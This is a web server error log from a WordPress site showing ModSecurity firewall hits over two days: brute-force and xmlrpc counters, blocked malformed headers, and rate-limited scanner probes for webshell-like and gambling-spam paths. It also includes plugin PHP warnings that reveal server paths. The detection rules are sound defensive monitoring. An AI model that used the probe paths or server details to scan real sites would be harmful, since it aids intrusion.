[Tue Apr 14 15:09:17.788209 2026] [:error] [pid 35630:tid 35701] [client 207.180.11.238:43087] [client 207.180.11.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.180.11.238, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ad3oHTer0pVFxOiOauUwtQAAAI8"]
[Tue Apr 14 15:10:07.845822 2026] [:error] [pid 35628:tid 35645] [client 178.128.105.125:60375] [client 178.128.105.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.105.125, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ad3oT-fPm-ozGuwCWXL26gAAAA0"]
[Tue Apr 14 17:10:24.964896 2026] [:error] [pid 60074:tid 60099] [client 68.183.181.158:59478] [client 68.183.181.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.181.158, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ad4EgOtqnEmNU9vpHCkwsAAAANc"]
[Tue Apr 14 17:10:28.136699 2026] [:error] [pid 22177:tid 22188] [client 68.183.181.158:56032] [client 68.183.181.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.181.158, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ad4EhITVeJSXHDIlEDsrtgAAAQk"]
[Tue Apr 14 18:16:19.598535 2026] [:error] [pid 60074:tid 60089] [client 43.130.16.140:35494] [client 43.130.16.140] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ad4T8-tqnEmNU9vpHClYYwAAAM0"]
[Tue Apr 14 19:24:05.257387 2026] [:error] [pid 22177:tid 22179] [client 74.248.158.124:65063] [client 74.248.158.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad4j1YTVeJSXHDIlEDtpEAAAAQA"]
[Tue Apr 14 22:14:57.371030 2026] [:error] [pid 60074:tid 60088] [client 43.164.197.177:49674] [client 43.164.197.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ad5L4etqnEmNU9vpHCm5bAAAAMw"]
[Tue Apr 14 23:22:25.889659 2026] [:error] [pid 59986:tid 60039] [client 147.135.214.239:35266] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ad5bsZ6axKeW6bX4H7fCoAAAAFM"]
[Tue Apr 14 23:22:28.256671 2026] [:error] [pid 22177:tid 22201] [client 147.135.214.239:51564] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ad5btITVeJSXHDIlEDuiOwAAARY"]
[Tue Apr 14 23:22:30.744712 2026] [:error] [pid 60074:tid 60094] [client 147.135.214.239:51580] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ad5btutqnEmNU9vpHCnQhwAAANI"]
[Tue Apr 14 23:22:33.053415 2026] [:error] [pid 59985:tid 59998] [client 147.135.214.239:51582] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ad5buegHaxkvLE6V1kl6MAAAAAU"]
[Tue Apr 14 23:22:35.360429 2026] [:error] [pid 60074:tid 60087] [client 147.135.214.239:51594] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ad5bu-tqnEmNU9vpHCnQkAAAAMs"]
[Tue Apr 14 23:22:37.693136 2026] [:error] [pid 59986:tid 60040] [client 147.135.214.239:57768] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ad5bvZ6axKeW6bX4H7fCuwAAAFQ"]
[Tue Apr 14 23:22:39.981758 2026] [:error] [pid 3810:tid 3832] [client 147.135.214.239:57778] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ad5bv8qc5XaYZhFXVGfazwAAAZM"]
[Tue Apr 14 23:22:42.333488 2026] [:error] [pid 59985:tid 60001] [client 147.135.214.239:57784] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ad5bwugHaxkvLE6V1kl6NgAAAAg"]
[Tue Apr 14 23:22:44.789669 2026] [:error] [pid 3810:tid 3836] [client 147.135.214.239:57796] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ad5bxMqc5XaYZhFXVGfa6gAAAZc"]
[Tue Apr 14 23:22:47.163854 2026] [:error] [pid 60074:tid 60092] [client 147.135.214.239:60928] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ad5bx-tqnEmNU9vpHCnQngAAANA"]
[Tue Apr 14 23:22:49.448601 2026] [:error] [pid 60074:tid 60096] [client 147.135.214.239:60942] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ad5byetqnEmNU9vpHCnQqQAAANQ"]
[Tue Apr 14 23:22:51.933440 2026] [:error] [pid 60074:tid 60077] [client 147.135.214.239:60946] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ad5by-tqnEmNU9vpHCnQtQAAAME"]
[Tue Apr 14 23:22:54.530191 2026] [:error] [pid 59985:tid 60016] [client 147.135.214.239:60950] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ad5bzugHaxkvLE6V1kl6QAAAABc"]
[Tue Apr 14 23:22:57.119990 2026] [:error] [pid 59986:tid 60036] [client 147.135.214.239:35320] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ad5b0Z6axKeW6bX4H7fCxwAAAFA"]
[Tue Apr 14 23:22:59.714942 2026] [:error] [pid 3810:tid 3824] [client 147.135.214.239:35326] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ad5b08qc5XaYZhFXVGfbDwAAAYs"]
[Tue Apr 14 23:23:01.992504 2026] [:error] [pid 59986:tid 60035] [client 147.135.214.239:35338] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ad5b1Z6axKeW6bX4H7fCzAAAAE8"]
[Tue Apr 14 23:23:04.407693 2026] [:error] [pid 3810:tid 3835] [client 147.135.214.239:35348] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ad5b2Mqc5XaYZhFXVGfbGQAAAZY"]
[Tue Apr 14 23:23:06.697047 2026] [:error] [pid 59987:tid 60054] [client 147.135.214.239:49108] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ad5b2lWpk-Tfi6_vLKpVAgAAAIc"]
[Tue Apr 14 23:23:09.257295 2026] [:error] [pid 22177:tid 22180] [client 147.135.214.239:49116] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ad5b3YTVeJSXHDIlEDuiYQAAAQE"]
[Tue Apr 14 23:23:11.814867 2026] [:error] [pid 59986:tid 60025] [client 147.135.214.239:49128] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ad5b356axKeW6bX4H7fC2gAAAEU"]
[Tue Apr 14 23:23:14.247285 2026] [:error] [pid 59986:tid 60038] [client 147.135.214.239:49138] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "ad5b4p6axKeW6bX4H7fC4gAAAFI"]
[Tue Apr 14 23:23:16.652889 2026] [:error] [pid 3810:tid 3823] [client 147.135.214.239:49112] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "ad5b5Mqc5XaYZhFXVGfbKQAAAYo"]
[Tue Apr 14 23:23:19.050005 2026] [:error] [pid 60074:tid 60097] [client 147.135.214.239:49128] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "ad5b5-tqnEmNU9vpHCnQ1gAAANU"]
[Tue Apr 14 23:23:21.325782 2026] [:error] [pid 59986:tid 60028] [client 147.135.214.239:49140] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "ad5b6Z6axKeW6bX4H7fC7gAAAEg"]
[Wed Apr 15 01:36:41.714083 2026] [:error] [pid 17866:tid 17868] [client 117.62.235.53:50953] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ad57Kbx_17kv70EUVIlKnQAAAYA"]
[Wed Apr 15 01:47:54.831331 2026] [:error] [pid 62296:tid 62330] [client 23.94.155.138:45523] [client 23.94.155.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.94.155.138, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ad59ysTNd04nWM2DK4SQZgAAAEM"], referer: https://vetstars.com.au/
[Wed Apr 15 02:54:23.502769 2026] [:error] [pid 62296:tid 62348] [client 185.117.225.153:55922] [client 185.117.225.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.153, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ad6NX8TNd04nWM2DK4Sv5wAAAFU"]
[Wed Apr 15 02:54:32.379037 2026] [:error] [pid 62432:tid 62446] [client 185.117.225.153:41664] [client 185.117.225.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.153, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ad6NaLPtNET7V_vfTPfpaAAAAUs"]
[Wed Apr 15 07:53:27.135082 2026] [:error] [pid 30555:tid 30628] [client 120.71.59.24:42093] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ad7Td1TZEITMpQMsOniY7AAAAI4"]
[Wed Apr 15 08:50:51.794128 2026] [:error] [pid 51186:tid 51198] [client 17.241.75.54:36222] [client 17.241.75.54] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "35.231.1.73_6dd3cd2787fcad9e1069341b46859867d158c0e9"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor-pro/assets/css/modules/motion-fx.min.css"] [unique_id "ad7g6Vfx1CjK_ZPfY1Qz6QAAAUo"], referer: https://vetstars.com.au/
[Wed Apr 15 09:34:01.013003 2026] [:error] [pid 30553:tid 30577] [client 43.130.40.120:51478] [client 43.130.40.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ad7rCaWezn1lK_o0BrrptAAAABI"]
[Wed Apr 15 12:32:17.976321 2026] [proxy_fcgi:error] [pid 51186:tid 51195] [client 103.4.122.14:51262] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Wed Apr 15 12:32:32.162325 2026] [proxy_fcgi:error] [pid 30644:tid 30651] [client 103.4.122.14:51318] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Attempt to read property "version" on false in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Wed Apr 15 15:08:48.936522 2026] [:error] [pid 11385:tid 11453] [client 123.16.205.214:50859] [client 123.16.205.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.16.205.214, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ad85gB_mZoXMMCiUoKUvgAAAAMU"]
[Wed Apr 15 17:15:32.717567 2026] [:error] [pid 11475:tid 11495] [client 43.157.22.109:50154] [client 43.157.22.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ad9XNJ7upE98bj816HPlkwAAAVI"]
[Wed Apr 15 17:20:49.323062 2026] [:error] [pid 11383:tid 11405] [client 65.108.125.120:54476] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ad9YcTOMRk2pAgm2-j7czgAAAAo"]
[Wed Apr 15 17:20:51.876933 2026] [:error] [pid 11384:tid 11431] [client 65.108.125.120:54488] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ad9Yc3Ohpt4MrQIXF7CheQAAAEk"]
[Wed Apr 15 17:20:54.474935 2026] [:error] [pid 11383:tid 11396] [client 65.108.125.120:54500] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ad9YdjOMRk2pAgm2-j7c1QAAAAE"]
[Wed Apr 15 17:20:56.889698 2026] [:error] [pid 11383:tid 11415] [client 65.108.125.120:54502] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ad9YeDOMRk2pAgm2-j7c1wAAABQ"]
[Wed Apr 15 17:20:59.290619 2026] [:error] [pid 11385:tid 11452] [client 65.108.125.120:19302] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ad9Yex_mZoXMMCiUoKVNVgAAAMQ"]
[Wed Apr 15 17:21:01.722109 2026] [:error] [pid 11384:tid 11425] [client 65.108.125.120:19314] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ad9YfXOhpt4MrQIXF7ChiAAAAEM"]
[Wed Apr 15 17:21:04.238760 2026] [:error] [pid 11475:tid 11501] [client 65.108.125.120:19328] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ad9YgJ7upE98bj816HPocwAAAVg"]
[Wed Apr 15 17:21:06.762528 2026] [:error] [pid 11385:tid 11473] [client 65.108.125.120:19336] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ad9Ygh_mZoXMMCiUoKVNXAAAANg"]
[Wed Apr 15 17:21:09.176000 2026] [:error] [pid 11385:tid 11462] [client 65.108.125.120:45688] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ad9YhR_mZoXMMCiUoKVNYQAAAM0"]
